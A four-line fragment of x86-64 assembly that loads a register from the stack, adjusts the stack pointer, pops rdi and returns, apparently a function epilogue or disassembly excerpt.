mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret